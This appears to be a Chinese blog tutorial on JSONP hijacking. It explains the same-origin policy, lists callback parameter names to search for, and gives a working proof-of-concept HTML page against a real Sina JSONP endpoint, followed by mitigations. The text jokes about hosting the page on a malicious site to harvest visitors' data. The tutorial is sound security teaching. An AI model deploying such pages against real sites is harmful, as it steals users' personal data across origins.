背景知识
jsonp
Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据,也就是说可以通过这个技术,绕过同源策略。
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。
同源策略
同源策略(Same Origin Policy),它是由 Netscape 提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。
浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。“同源”的前提如下:
域名
协议
tcp端口号
只要两个url的以上三个值是相同的,我们就认为这两个url资源是同源的。
同源策略在浏览器上默认实现,目的就是防止不同网站之间的信息窃取。比如有如下场景:
比如你吃着火锅、唱着歌、访问着网站A,而且网站A有个可以返回个人信息的敏感信息接口:http://5wimming.a.com/info
这时候你的在浏览器上同时还打开了某不知名的P 站,这个网站偷偷执行了个js,访问http://5wimming.a.com/info接口,并将获取的信息上传回P 站服务器
这时候同源策略的作用就出来了,浏览器会判断上面网站P和网站A是否同源,如果不同源,则网站P的窃取接口将获取不到数据。
当然,也有例外情况,这里举两种:
1、网站A在返回头中设置了Access-Control-Allow-Origin 值允许网站P的访问,如:
Access-Control-Allow-Origin: http://www.p.com
2、网页中有几个标签是对同源策略免疫的,
<img> 的 src
<link> 的 href
<script> 的 src
JSONP劫持
JSONP 就是利用其中的
🌰栗子
我们找个网站,通过搜索关键词,看看有没有使用jsonp技术,一般关键词有:
jsonp
callback
jsonpcallback
jsoncallback
jsonpcall
jsoncall
jsoncb
jsonpcb
...
比如下面某不愿透漏姓名的网站,有一个jsonp链接,当然该链接并没有敏感信息,这里作为一个🌰
https://tousu.sina.com.cn/api/int_prom/get?channel=5&callback=heimaosuccess&dpc=1
然后我们做一个本地payload,将下面信息保存在本地,并命名为jsonp.html,注意链接中的回调函数需要跟自定义的函数名相同,这里为heimaosuccess
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP jack</title>
</head>
<body>
<script type="text/javascript">
function heimaosuccess(result)
{
alert(result.result.timestamp);
}
</script>
<script type="text/javascript" src="https://tousu.sina.com.cn/api/int_prom/get?channel=5&callback=heimaosuccess&dpc=1"></script>
</body>
</html>
通过浏览器访问该html文件,发现可以获取相关信息
现实中,如果把这个恶意js放在某个恶意网站上,只要受害者访问了该恶意网站,并且同时开了目标网站,就可以偷偷的收集大量信息,然后惊艳所有人,说不定还能在某个管吃管住的地方见到吴 签
防范
1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
3、严格过滤 callback 函数名及 JSON 里数据的输出。
4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。
参考:
1、https://www.runoob.com/json/json-jsonp.html
2、https://xz.aliyun.com/t/10051
3、https://www.cnblogs.com/happystudyhuan/p/11583384.html